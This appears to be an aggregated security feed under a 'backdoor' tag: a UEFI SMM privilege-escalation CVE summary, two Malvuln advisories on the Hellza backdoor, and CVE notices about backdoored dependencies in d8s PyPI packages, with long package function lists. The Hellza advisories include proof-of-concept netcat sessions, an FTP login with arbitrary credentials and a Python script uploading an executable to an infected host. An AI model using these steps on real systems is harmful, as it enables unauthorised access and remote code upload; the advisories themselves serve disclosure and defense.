An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an environment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into BIOS. Such a malicious firmware code in BIOS could persist across operating system re-installs. Additionally, this vulnerability potentially could be used by malicious actors to bypass security mechanisms provided by UEFI firmware (for example, Secure Boot and some types of memory isolation for hypervisors). This issue affects: Module name: OverClockSmiHandler SHA256: a204699576e1a48ce915d9d9423380c8e4c197003baf9d17e6504f0265f3039c Module GUID: 4698C2BD-A903-410E-AD1F-5EEF3A1AE422

CVE-2022-40261

Backdoor.Win32.Hellza.120 malware suffers from a remote command execution vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Backdoor.Win32.Hellza.120Vulnerability: Unauthorized Remote Command ExecutionDescription: The malware listens on TCP ports 12122, 21.  Third-party adversarys who can reach infected systems can issue commands made available by the backdoor.Family: HellzaType: PE32MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21Vuln ID: MVID-2022-0641Dropped files: msdllsrv.exeDisclosure: 09/19/2022 Exploit/PoC:C:\>nc64.exe x.x.x.x 12122xrR_Server version:1.20 Beta R1.1F (starts FTP if not running in case where the server was restarted)L (logger)L15_ *0.00 KB*D (drives)D 1C:\2D:\E (run file)Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.Hellza.120 MVID-2022-0641 Remote Command Execution

Backdoor.Win32.Hellza.120 malware suffers from an authentication bypass vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21_B.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Backdoor.Win32.Hellza.120Vulnerability: Authentication BypassDescription: The malware listens on TCP ports 12122, 21.  Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.Family: HellzaType: PE32MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21Vuln ID: MVID-2022-0642Dropped files: msdllsrv.exeDisclosure: 09/19/2022 Exploit/PoC:C:\>nc64.exe 192.168.18.125 21220 HellzAddiction FTP server.USER malvuln331 Password required for malvuln.PASS malvuln230 User malvuln logged in.SYST215 UNIX Type: L8 Internet Component SuitePASV227 Entering Passive Mode (192,168,18,125,219,186).CDUP \250 CWD command successful. "C:/" is current directory.STOR DOOM_SM.exe150 Opening data connection for DOOM_SM.exe.226 File received okfrom socket import *MALWARE_HOST="192.168.18.125"PORT=56250DOOM="DOOM_SM.exe"def doit():    s=socket(AF_INET, SOCK_STREAM)    s.connect((MALWARE_HOST, PORT))    f = open(DOOM, "rb")    EXE = f.read()    s.send(EXE)    while EXE:        s.send(EXE)        EXE=f.read()    s.close()    print("By Malvuln");if __name__=="__main__":    doit()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.Hellza.120 MVID-2022-0642 Authentication Bypass

The d8s-ip-addresses for python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The backdoor is the democritus-hypothesis package. The affected version is 0.1.0

We discovered a potential code execution backdoor in version 0.1.0 of the project, the backdoor is the democritus-hypothesis package. Attackers can upload democritus-hypothesis packages containing arbitrary malicious code. For the safety of this project, the democritus-hypothesis package has been uploaded by us.

The democritus-hypothesis package can be successfully installed using pip install d8s-ip-addresses==0.1.0

Suggestion: remove version 0.1.0 of this project in PyPI

CVE-2022-40810: code execution backdoor · Issue #13 · democritus-project/d8s-ip-addresses

The d8s-asns for python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The backdoor is the democritus-networking package. The affected version is 0.1.0.

We discovered a potential code execution backdoor in version 0.1.0 of the project, the backdoor is the democritus-networking package. Attackers can upload democritus-networking packages containing arbitrary malicious code. For the safety of this project, the democritus-networking package has been uploaded by us.

The democritus-networking package can be successfully installed using pip install d8s-asns==0.1.0

Suggestion: remove version 0.1.0 of this project in PyPI

CVE-2022-40426: code execution backdoor · Issue #8 · democritus-project/d8s-asns

The d8s-archives for python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The backdoor is the democritus-strings package. The affected version is 0.1.0.

**Project description**

**Democritus Archives (a.k.a. d8s-archives)**

      

Democritus functions\[1\] for working with archives.

\[1\] Democritus functions are _simple, effective, modular, well-tested, and well-documented_ Python functions.

We use d8s (pronounced "dee-eights") as an abbreviation for democritus (you can read more about this here).

**Installation**

    pip install d8s-archives
    

**Usage**

You import the library like:

from d8s\_archives import \*

Once imported, you can use any of the functions listed below.

**Functions**

*   def archive\_create(file\_path, output\_path, \*, archive\_name\=None):
        """Archive the given file."""
    
*   def archive\_read(file\_path, \*, archive\_name\=None, password\=None) \-> Iterable\[Tuple\[str, str\]\]:
        """Read file(s) from the archive. If archive\_name is given, read only that file; otherwise, read all files."""
    

**Development**

👋  If you want to get involved in this project, we have some short, helpful guides below:

*   contribute to this project 🥇
*   test it 🧪
*   lint it 🧹
*   explore it 🔭

If you have any questions or there is anything we did not cover, please raise an issue and we'll be happy to help.

**Credits**

This package was created with Cookiecutter and Floyd Hightower's Python project template.

**Download files**

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

**Source Distribution****Built Distribution**

CVE-2022-38881: d8s-archives

The d8s-strings for python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The backdoor is the democritus-hypothesis package. The affected version is 0.1.0.

Democritus functions\[1\] for working with Python strings.

\[1\] Democritus functions are _simple, effective, modular, well-tested, and well-documented_ Python functions.

We use d8s (pronounced "dee-eights") as an abbreviation for democritus (you can read more about this here).

Once imported, you can use any of the functions listed below.

*   def string\_chars\_at\_start(string: str, chars: Iterable) \-> Iterable\[str\]:
        """."""
    
*   def string\_chars\_at\_start\_len(string: str, chars: Iterable) \-> int:
        """."""
    
*   def a10n(string: str) \-> str:
        """."""
    
*   def string\_remove\_index(string: str, index: int) \-> str:
        """Remove the item from the string at the given index."""
    
*   def string\_replace\_index(string: str, index: int, replacement: str) \-> str:
        """Replace the character in the string at the given index with the replacement."""
    
*   def string\_remove\_before(string: str, stop\_string: str):
        """Remove everything from the start of the given string until the stop\_string."""
    
*   def string\_remove\_after(string: str, start\_string: str):
        """Remove everything after the start\_string to the end of the given string."""
    
*   def string\_is\_palindrome(string: str) \-> bool:
        """Return whether or not the given string is a palindrome."""
    
*   def string\_reverse(string: str) \-> str:
        """Reverse the given string."""
    
*   def indefinite\_article(word):
        """Return the word with the appropriate indefinite article."""
    
*   def is\_plural(possible\_plural: str) \-> bool:
        """Return whether or not the possible\_plural is plural."""
    
*   def pluralize(word: str) \-> str:
        """Make the word plural."""
    
*   def is\_singular(possible\_singular: str) \-> bool:
        """Return whether or not the possible\_singular is singular."""
    
*   def singularize(word: str) \-> str:
        """Make the word singular."""
    
*   def cardinalize(word: str, count: int) \-> str:
        """Return the appropriate form of the given word for the count."""
    
*   def ordinalize(number: int) \-> str:
        """Return the appropriate form for the ordinal form of the given number."""
    
*   def string\_forms(text):
        """Return multiple forms for the given text."""
    
*   def string\_left\_pad(string, length: int, \*, padding\_characters\=' '):
        """Pad the given string with the given padding\_characters such that the length of the resulting string is equal to the \`length\` argument. Adapted from the javascript code here: https://www.theregister.co.uk/2016/03/23/npm\_left\_pad\_chaos/."""
    
*   def string\_to\_bool(string: str) \-> bool:
        """."""
    
*   def text\_examples(n\=10):
        """Create n example texts."""
    
*   def string\_has\_multiple\_consecutive\_spaces(string):
        """Return True if the given string has multiple, consecutive spaces."""
    
*   def character\_examples(n\=10):
        """Create n example characters."""
    
*   def text\_abbreviate(text):
        """Abbreviate the given text."""
    
*   def text\_input\_is\_yes(message):
        """Get yes/no input from the user and return \`True\` if the input is yes and \`False\` if the input is no."""
    
*   def text\_input\_is\_no(message):
        """Get yes/no input from the user and return \`True\` if the input is no and \`False\` if the input is yes."""
    
*   def string\_is\_yes(string):
        """Check if a string is some form of \`y\` or \`yes\`."""
    
*   def string\_is\_no(string):
        """Check if a string is some form of \`n\` or \`no\`."""
    
*   def xor(message, key):
        """."""
    
*   def text\_join(join\_character, \*args):
        """Join all of the arguments around the given join\_character."""
    
*   def string\_insert(existing\_string, new\_string, index):
        """Insert the new\_string into the existing\_string at the given index."""
    
*   def base64\_encode(input\_string):
        """Base64 encode the string."""
    
*   def base64\_decode(input\_string):
        """Base64 decode the string."""
    
*   def string\_sequence\_matcher(string\_a, string\_b):
        """Create a difflib.SequenceMatcher for the given string."""
    
*   def strings\_diff(string\_a, string\_b):
        """Return the diff of the two strings."""
    
*   def string\_add\_to\_start\_of\_each\_line(string: str, string\_to\_add\_to\_each\_line: str):
        """Add the given string\_to\_add\_to\_each\_line to the beginning of each line in the string."""
    
*   def string\_get\_closes\_matches(word, possible\_matches, maximum\_matches\=3, cutoff\=0.6):
        """Return the words from the list of possible matches that are closest to the given word."""
    
*   def strings\_similarity(a: str, b: str):
        """Return the ratio of similarity between the two strings."""
    
*   def strings\_matching\_blocks(a: str, b: str):
        """Return the matching blocks in the given strings."""
    
*   def strings\_longest\_matching\_block(a: str, b: str):
        """Return the longest matching block in the string."""
    
*   def strings\_diff\_opcodes(a: str, b: str):
        """Return the opcodes representing the differences/similarities between two strings."""
    
*   def string\_common\_prefix(a: str, b: str) \-> str:
        """Returns the common prefix string from left to right between a and b."""
    
*   def string\_common\_suffix(a: str, b: str):
        """Returns the common suffix string from left to right between a and b."""
    
*   def characters(input\_string):
        """Return all of the characters in the given string."""
    
*   def hex\_to\_string(hex\_string):
        """Convert the given hex string to ascii."""
    
*   def string\_to\_hex(ascii\_string: str, seperator\='') \-> str:
        """Convert the given ascii string to hex."""
    
*   def character\_to\_unicode\_number(character):
        """Convert the given character to its Unicode number. This is the same as the \`ord\` function in python."""
    
*   def unicode\_number\_to\_character(unicode\_number):
        """Convert the given unicode\_number to it's unicode character form. This is the same as the \`chr\` function in python."""
    
*   def hamming\_distance(string\_1, string\_2, as\_percent\=False):
        """Return the number of positions at which corresponding symbols in string\_1 and string\_2 are different (this is known as the Hamming Distance). See https://en.wikipedia.org/wiki/Hamming\_distance."""
    
*   def from\_char\_code(integer\_list):
        """."""
    
*   def text\_ascii\_characters(text: str) \-> Tuple\[str\]:
        """."""
    
*   def text\_non\_ascii\_characters(text: str) \-> Tuple\[str\]:
        """."""
    
*   def letter\_as\_number(letter):
        """."""
    
*   def letter\_frequency(letter, text):
        """Find the frequency of the given letter in the given text."""
    
*   def string\_entropy(text, ignore\_case\=False):
        """Find the shannon entropy of the text. Inspired by the algorithm here https://web.archive.org/web/20160320142455/https://deadhacker.com/2007/05/13/finding-entropy-in-binary-files/. You can see more here: https://en.wikipedia.org/wiki/Entropy\_(information\_theory)"""
    
*   def substrings(iterable):
        """Find all substrings in the given string."""
    
*   def string\_remove\_non\_alphabetic\_characters(string: str):
        """."""
    
*   def string\_remove\_non\_numeric\_characters(string: str):
        """."""
    
*   def string\_remove\_non\_alpha\_numeric\_characters(string: str):
        """."""
    
*   def string\_remove(regex\_pattern, input\_string, \*\*kwargs):
        """Remove the regex\_pattern from the input\_string."""
    
*   def string\_remove\_unicode(string: str):
        """Remove all Unicode characters from the given string."""
    
*   def string\_remove\_numbers(input\_string: str, replacement: str \= ' '):
        """Remove all numbers from the input\_strings."""
    
*   def string\_remove\_from\_start(input\_string, string\_to\_remove):
        """Remove the string\_to\_remove from the start of the input\_string."""
    
*   def string\_remove\_from\_end(input\_string, string\_to\_remove):
        """Remove the string\_to\_remove from the end of the input\_string."""
    
*   def string\_as\_numbers(input\_string: str):
        """."""
    
*   def string\_in\_iterable\_fuzzy(input\_string, iterable):
        """Find if the given input\_string is in one of the strings in an iterable."""
    
*   def string\_find\_between(input\_string: str, start\_string: str, end\_string: str, \*args):
        """Find the string in the input\_string that is between the start\_string and the end\_string."""
    
*   def switch(a, b, text):
        """Switch a and b in the text."""
    
*   def string\_encode\_as\_bytes(input\_string, encoding\='utf-8', \*\*kwargs):
        """."""
    
*   def bytes\_decode\_as\_string(bytes\_text, encoding\='utf-8', \*\*kwargs):
        """."""
    
*   def string\_shorten(input\_string, length, suffix\='...'):
        """Shorten the given input\_string to the given length."""
    
*   def string\_split\_without\_empty(input\_string, split\_char):
        """Split a input\_string on split\_char and remove empty entries."""
    
*   def string\_has\_index(string: str, index: Union\[str, int\]) \-> bool:
        """."""
    
*   def string\_split\_on\_uppercase(input\_string: str, include\_uppercase\_characters\=False, split\_acronyms\=True):
        """Split the input\_string on uppercase characters. If split\_acronyms is False, the function will not split consecutive uppercase letters."""
    
*   def string\_split\_on\_lowercase(input\_string, include\_lowercase\_characters\=False):
        """Split the string on lowercase characters."""
    
*   def string\_split\_multiple(string, \*splitting\_characters):
        """Split a string up based on multiple splitting\_characters."""
    
*   def string\_reverse\_case(input\_string):
        """Make lowercase characters uppercased and visa-versa."""
    
*   def text\_vowels(text):
        """Return all of the vowels in the text."""
    
*   def text\_vowel\_count(text):
        """Count the number of vowels in the text."""
    
*   def text\_consonants(text):
        """Return all of the consonants in the text."""
    
*   def text\_consonant\_count(text):
        """Count the number of consonants in the text."""
    
*   def text\_input(message\='Enter/Paste your content.'):
        """."""
    
*   def text\_ensure\_starts\_with(text: str, prefix: str):
        """Make sure the given text starts with the given prefix."""
    
*   def text\_ensure\_ends\_with(text: str, suffix: str):
        """Make sure the given text ends with the given suffix."""
    
*   def titlecase(item):
        """."""
    
*   def uppercase(item):
        """."""
    
*   def uppercase\_first\_letter(text):
        """Make the first letter of the text uppercase."""
    
*   def lowercase\_first\_letter(text):
        """Make the first letter of the text lowercase."""
    
*   def crazycase(text):
        """Make the case of the characters in the given text pseudo-random"""
    
*   def kebab\_case(text):
        """Return the text with a "-" in place of every space."""
    
*   def snake\_case(text):
        """Return the text with a "\_" in place of every space."""
    
*   def camel\_case(text: str):
        """Return the text with no spaces and every word (except the first one) capitalized."""
    
*   def pascal\_case(text: str):
        """Return the text with no spaces and every word capitalized."""
    
*   def sentence\_case(text: str):
        """."""
    
*   def uppercase\_count(text):
        """Count the number of uppercase letters in the given text."""
    
*   def lowercase\_count(text):
        """Count the number of lowercase letters in the given text."""
    
*   def lowercase(item):
        """."""
    
*   def string\_rotate(text, rot\=13):
        """Return the text converted using a Caesar cipher (https://en.wikipedia.org/wiki/Caesar\_cipher) in which the text is rotated by the given amount (using the \`rot\` argument)."""
    
*   def text\_is\_english\_sentence(text: str) \-> bool:
        """Determine whether or not the sentence is likely English."""
    
*   def leet\_speak\_to\_text(leet\_speak\_text):
        """."""
    
*   def text\_to\_leet\_speak(text):
        """."""
    
*   def unicode\_to\_ascii(text: str):
        """Convert the text to ascii."""
    

👋  If you want to get involved in this project, we have some short, helpful guides below:

If you have any questions or there is anything we did not cover, please raise an issue and we'll be happy to help.

CVE-2022-40432: d8s-strings

The d8s-grammars for python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The backdoor is the democritus-strings package. The affected version is 0.1.0.

We discovered a potential code execution backdoor in version 0.1.0 of the project, the backdoor is the democritus-strings package. Attackers can upload democritus-strings packages containing arbitrary malicious code. For the safety of this project, the democritus-strings package has been uploaded by us.

The democritus-strings package can be successfully installed using pip install d8s-grammars==0.1.0

Suggestion: remove version 0.1.0 of this project in PyPI

CVE-2022-38884: code execution backdoor · Issue #6 · democritus-project/d8s-grammars

The d8s-netstrings for python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The backdoor is the democritus-strings package. The affected version is 0.1.0.

**Project description**

**Democritus Netstrings**

      

Democritus functions\[1\] for working with Netstrings.

\[1\] Democritus functions are _simple, effective, modular, well-tested, and well-documented_ Python functions.

We use d8s as an abbreviation for democritus (you can read more about this here).

**Functions**

*   def string\_to\_netstring\_ascii(string: str, \*args):
        """Convert the given string to a netstring (and return it's ascii representation)."""
    
*   def string\_to\_netstring\_hex(string: str, \*args):
        """Convert the given string to a netstring (and return it's hex representation)."""
    
*   def netstring\_ascii\_to\_netstring\_hex(netstring\_ascii: str):
        """Convert a netstring (represented as ascii) to its hex representation."""
    
*   def netstring\_hex\_to\_netstring\_ascii(netstring\_hex: str):
        """Convert a netstring (represented as hex) to its ascii representation."""
    
*   def netstring\_ascii\_to\_string(netstring\_ascii: str):
        """Get the string portion of the given netstring (represented as ascii)."""
    
*   def netstring\_hex\_to\_string(netstring\_hex: str):
        """Get the string portion of the given netstring (represented as hex)."""
    

**Development**

👋  If you want to get involved in this project, we have some short, helpful guides below:

*   contribute to this project 🥇
*   test it 🧪
*   lint it 🧹
*   explore it 🔭

If you have any questions or there is anything we did not cover, please raise an issue and we'll be happy to help.

**Credits**

This package was created with Cookiecutter and Floyd Hightower's Python project template.

**Download files**

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

**Source Distribution****Built Distribution**

CVE-2022-38885: d8s-netstrings

The d8s-python for python, as distributed on PyPI, included a potential code-execution backdoor inserted by a third party. The democritus-strings package. The affected version is 0.1.0.

**Project description**

**Democritus Python**

      

Democritus functions\[1\] for working with Python data (code and ASTs).

\[1\] Democritus functions are _simple, effective, modular, well-tested, and well-documented_ Python functions.

We use d8s (pronounced "dee-eights") as an abbreviation for democritus (you can read more about this here).

**Installation**

    pip install d8s-python
    

**Usage**

You import the library like:

from d8s\_python import \*

Once imported, you can use any of the functions listed below.

**Functions**

*   def python\_functions\_signatures(
        code\_text: str,
        \*,
        ignore\_private\_functions: bool \= False,
        ignore\_nested\_functions: bool \= False,
        keep\_function\_name: bool \= False,
    ) \-> List\[str\]:
        """Return the function signatures for all of the functions in the given code\_text."""
    
*   def python\_todos(code\_text: str, todo\_regex: str \= 'TODO:.\*') \-> List\[str\]:
        """Return all todos in the given code\_text that match the given todo\_regex."""
    
*   def python\_make\_pythonic(name: str) \-> str:
        """Make the name pythonic.
    
    (e.g. 'fooBar' => 'foo\_bar', 'foo-bar' => 'foo\_bar', 'foo bar' => 'foo\_bar', 'Foo Bar' => 'foo\_bar')."""
    
*   def python\_namespace\_has\_argument(namespace: argparse.Namespace, argument\_name: str) \-> bool:
        """."""
    
*   def python\_traceback\_prettify(traceback: str) \-> str:
        """Return a string with the given traceback pretty-printed."""
    
*   def python\_traceback\_pretty\_print(traceback: str) \-> None:
        """Return a string with the given traceback pretty-printed."""
    
*   def python\_clean(code\_text: str) \-> str:
        """Clean python code as it is often found in documentation and snippets."""
    
*   def python\_function\_blocks(
        code\_text: str, \*, ignore\_private\_functions: bool \= False, ignore\_nested\_functions: bool \= False
    ) \-> List\[str\]:
        """Find the code (as a string) for every function in the given code\_text."""
    
*   def python\_line\_count(python\_code: str, \*, ignore\_empty\_lines: bool \= True) \-> int:
        """Return the number of lines in the given function\_text."""
    
*   def python\_function\_lengths(code\_text: str) \-> List\[int\]:
        """Find the lengths of each function in the given code\_text."""
    
*   def python\_version() \-> str:
        """Return the python version of the current environment."""
    
*   def python\_is\_version\_2() \-> bool:
        """Return whether or not the python version of the current environment is v2.x."""
    
*   def python\_is\_version\_3() \-> bool:
        """Return whether or not the python version of the current environment is v3.x."""
    
*   def python\_files\_using\_function(function\_name: str, search\_path: str) \-> List\[str\]:
        """Find where the given function is used in the given search path."""
    
*   def python\_keywords() \-> List\[str\]:
        """Get a list of the python keywords."""
    
*   def python\_object\_properties\_enumerate(
        python\_object: Any, \*, run\_methods: bool \= True, internal\_properties: bool \= True
    ) \-> None:
        """Enumerate and print out the properties of the given object."""
    
*   def python\_copy\_deep(python\_object: Any) \-> Any:
        """Return a deep (complete, recursive) copy of the given python object."""
    
*   def python\_copy\_shallow(python\_object: Any) \-> Any:
        """Return shallow copy of the given python object."""
    
*   def python\_file\_names(path: str, \*, exclude\_tests: bool \= False) \-> List\[str\]:
        """Find all python files in the given directory."""
    
*   def python\_fstrings(code\_text: str, \*, include\_braces: bool \= False) \-> Iterator\[str\]:
        """Find all of the python formatted string literals in the given text. See https://realpython.com/python-f-strings/ for more details about f-strings."""
    
*   def python\_code\_details(code\_text: str):
        """Get details about the given code\_text. This is a wrapper for \`dis.code\_info\`"""
    
*   def python\_disassemble(code\_text: str):
        """Disassemble the python code\_text. This is a wrapper for \`dis.dis\`"""
    
*   def python\_stack\_local\_data():
        """Get local data in the current python environment."""
    
*   def python\_object\_doc\_string(python\_object: Any) \-> Union\[str, None\]:
        """Get the doc string for the given python object (e.g. module, function, or class)."""
    
*   def python\_object\_source\_file(python\_object: Any) \-> str:
        """Get the source file for the given python object (e.g. module, function, or class)."""
    
*   def python\_object\_module(python\_object: Any) \-> str:
        """Get the module for the given python object (e.g. function or class)."""
    
*   def python\_object\_source\_code(python\_object: Any) \-> str:
        """Get the source code for the given python object (e.g. module, function, or class)."""
    
*   def python\_object\_signature(python\_object: Any) \-> str:
        """Get the argument signature for the given python object (e.g. module, function, or class)."""
    
*   def python\_sort\_type\_list\_by\_name(python\_type\_list: List\[type\], \*\*kwargs) \-> List\[type\]:
        """."""
    
*   def python\_type\_name(python\_type: type) \-> str:
        """Return the common name of the given type."""
    
*   def python\_object\_type\_to\_word(python\_object: Any) \-> str:
        """Convert the given python type to a string."""
    
*   def python\_ast\_raise\_name(node: ast.Raise) \-> Optional\[str\]:
        """Get the name of the exception raise by the given ast.Raise object."""
    
*   def python\_ast\_exception\_handler\_exceptions\_handled(handler: ast.ExceptHandler) \-> Optional\[Iterable\[str\]\]:
        """Return all of the exceptions handled by the given exception handler."""
    
*   def python\_ast\_exception\_handler\_exceptions\_raised(handler: ast.ExceptHandler) \-> Optional\[Iterable\[str\]\]:
        """Return the exception raised by the given exception handler."""
    
*   def python\_exceptions\_handled(code\_text: str) \-> Iterable\[str\]:
        """Return a list of all exceptions handled in the given code."""
    
*   def python\_exceptions\_raised(code\_text: str) \-> Iterable\[str\]:
        """Return a list of all exceptions raised in the given code."""
    
*   def python\_functions\_as\_import\_string(code\_text: str, module\_name: str) \-> str:
        """."""
    
*   def python\_ast\_object\_line\_number(ast\_object: object) \-> Optional\[int\]:
        """."""
    
*   def python\_ast\_object\_line\_numbers(ast\_object: object) \-> Tuple\[int, int\]:
        """."""
    
*   def python\_ast\_objects\_of\_type(
        code\_text\_or\_ast\_object: Union\[str, object\], ast\_type: type, \*, recursive\_search: bool \= True
    ) \-> Iterable\[object\]:
        """Return all of the ast objects of the given ast\_type in the code\_text\_or\_ast\_object."""
    
*   def python\_ast\_objects\_not\_of\_type(code\_text\_or\_ast\_object: Union\[str, object\], ast\_type: type) \-> Iterable\[object\]:
        """Return all of the ast objects which are not of the given ast\_type in the code\_text\_or\_ast\_object."""
    
*   def python\_ast\_parse(code\_text: str) \-> ast.Module:
        """."""
    
*   def python\_ast\_function\_defs(code\_text: str, recursive\_search: bool \= True) \-> Iterable\[ast.FunctionDef\]:
        """."""
    
*   def python\_function\_arguments(function\_text: str) \-> List\[ast.arg\]:
        """."""
    
*   def python\_function\_argument\_names(function\_text: str) \-> Iterable\[str\]:
        """."""
    
*   def python\_function\_argument\_defaults(function\_text: str) \-> List\[str\]:
        """."""
    
*   def python\_function\_argument\_annotations(function\_text: str) \-> List\[str\]:
        """."""
    
*   def python\_function\_names(
        code\_text: str, \*, ignore\_private\_functions: bool \= False, ignore\_nested\_functions: bool \= False
    ) \-> List\[str\]:
        """."""
    
*   def python\_function\_docstrings(
        code\_text: str, \*, ignore\_private\_functions: bool \= False, ignore\_nested\_functions: bool \= False
    ) \-> List\[str\]:
        """Get docstrings for all of the functions in the given text."""
    
*   def python\_variable\_names(code\_text: str) \-> List\[str\]:
        """Get all of the variables names in the code\_text."""
    
*   def python\_constants(code\_text: str) \-> List\[str\]:
        """Get all constants in the code\_text."""
    

**Development**

👋  If you want to get involved in this project, we have some short, helpful guides below:

*   contribute to this project 🥇
*   test it 🧪
*   lint it 🧹
*   explore it 🔭

If you have any questions or there is anything we did not cover, please raise an issue and we'll be happy to help.

**Credits**

This package was created with Cookiecutter and Floyd Hightower's Python project template.

**Download files**

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

**Source Distribution****Built Distribution**

Tag

#backdoor